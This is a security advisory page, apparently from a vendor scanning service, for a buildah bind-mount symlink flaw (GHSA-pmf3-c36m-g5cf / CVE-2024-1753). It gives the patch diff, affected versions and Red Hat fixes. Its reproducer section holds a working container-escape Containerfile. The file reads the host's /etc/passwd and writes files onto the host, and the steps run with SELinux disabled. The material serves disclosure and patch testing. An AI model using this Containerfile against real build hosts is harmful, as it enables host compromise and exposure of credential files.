GHSA-pmf3-c36m-g5cf — buildah
Fix: containers/buildah@3deda19GHSA-pmf3-c36m-g5cf is a CWE-59 vulnerability in github.com/containers/buildah. A fix is available for github.com/containers/buildah — see the affected versions and patch details below.
Container escape at build time
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-pmf3-c36m-g5cf.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/containers/buildah🐹github.com/containers/buildah🐹github.com/containers/buildah🐹github.com/containers/buildah🐹github.com/containers/buildah🐹github.com/containers/buildah🐹github.com/containers/buildah🐹github.com/containers/buildahReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
What kind of vulnerability is it? Who is impacted?
Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.
Patches
From @nalind
# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
"errors"
+ "github.com/containers/buildah/copier"
"github.com/containers/buildah/define"
"github.com/containers/buildah/internal"
internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
// buildkit parity: support absolute path for sources from current build context
if contextDir != "" {
// path should be /contextDir/specified path
- newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+ evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+ if err != nil {
+ return newMount, "", err
+ }
+ newMount.Source = evaluated
} else {
// looks like its coming from `build run --mount=type=bind` allow using absolute path
// error out if no source is set
Reproducer
Prior to testing, as root, add a memorable username to /etc/passwd via adduser or your favorite editor. Also create a memorably named file in /. Suggest: touch /SHOULDNTSEETHIS.txt and adduser SHOULDNTSEETHIS. After testing, remember to remove both the file and the user from your system.
Use the following Containerfile
# cat ~/cve_Containerfile
FROM alpine as base
RUN ln -s / /rootdir
RUN ln -s /etc /etc2
FROM alpine
RUN echo "ls container root"
RUN ls -l /
RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit
RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
To Test
Testing with an older version of Buildah with the issue
setenforce 0
buildah build -f ~/cve_Containerfile .
As part of the printout from the build, you should be able to see the contents of the /' and /etcdirectories, including the/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the/etc/passwdfile which will include theSHOULDNOTSEETHISuser that you created. In addition, the file/BIND_BREAKOUTand/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.
buildah rm -a
buildah rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
buildah build -f ~/cve_Containerfile .
Neither the /BIND_BREAKEOUT or /etc/BIND_BREAKOUT2 files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd file, and nothing will be displayed from that file.
However, the files in both the / and /etc directories on the host system will be displayed.
Testing with the patch
Use the same commands as testing with an older version of Buildah.
When running using the patched version of Buildah, regardless of the setenforce settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT and the /etc/BIND_BREAKOUT will not exist on the host after the test completes.
NOTE: With the fix, the contents of the / and /etc directories, and the /etc/passwd file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the /BIND_BREAKOUT and /etc/BIND_BREAKOUT files will be created in the container image.
Workarounds
Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the / directory can be displayed. I.e., ls -alF / will show the contents of the host directory.
References
Unknown.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/containers/buildah | ≥ 1.35.0&&< 1.35.1 | 1.35.1go get github.com/containers/buildah@v1.35.1 |
| 🐹Go | github.com/containers/buildah | ≥ 1.34.0&&< 1.34.3 | 1.34.3go get github.com/containers/buildah@v1.34.3 |
| 🐹Go | github.com/containers/buildah | ≥ 1.33.0&&< 1.33.7 | 1.33.7go get github.com/containers/buildah@v1.33.7 |
| 🐹Go | github.com/containers/buildah | ≥ 1.25.0&&< 1.27.4 | 1.27.4go get github.com/containers/buildah@v1.27.4 |
| 🐹Go | github.com/containers/buildah | ≥ 1.24.0&&< 1.24.7 | 1.24.7go get github.com/containers/buildah@v1.24.7 |
| 🐹Go | github.com/containers/buildah | ≥ 1.28.0&&< 1.29.3 | 1.29.3go get github.com/containers/buildah@v1.29.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/containers/buildah, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/containers/buildah to 1.35.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pmf3-c36m-g5cf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-pmf3-c36m-g5cf can be triaged on real exposure rather than presence alone.
Tailored to GHSA-pmf3-c36m-g5cf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Enterprise Linux 8 | container-tools:4.0-8090020240413110917.d7b6f4b7 | RHSA-2024:2084 |
| Red Hat Enterprise Linux 8 | container-tools:rhel8-8090020240417184044.e7857ab1 | RHSA-2024:2098 |
| Red Hat Enterprise Linux 8 | container-tools:rhel8-8100020240419145834.afee755d | RHSA-2024:3254 |
| Red Hat Enterprise Linux 8.6 Extended Update Support | container-tools:rhel8-8060020240422155330.3b538bd8 | RHSA-2024:2090 |
| Red Hat Enterprise Linux 8.6 Extended Update Support | container-tools:4.0-8060020240419071711.2e213529 | RHSA-2024:2097 |
| Red Hat Enterprise Linux 8.8 Extended Update Support | container-tools:rhel8-8080020240422101606.0f77c1b7 | RHSA-2024:2077 |
| Red Hat Enterprise Linux 9 | buildah-1:1.31.5-1.el9_3 | RHSA-2024:2055 |
| Red Hat Enterprise Linux 9 | podman-4:4.9.4-3.el9_4 | RHSA-2024:2548 |
Frequently Asked Questions
Is GHSA-pmf3-c36m-g5cf in your dependencies?
O3 Security finds GHSA-pmf3-c36m-g5cf across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.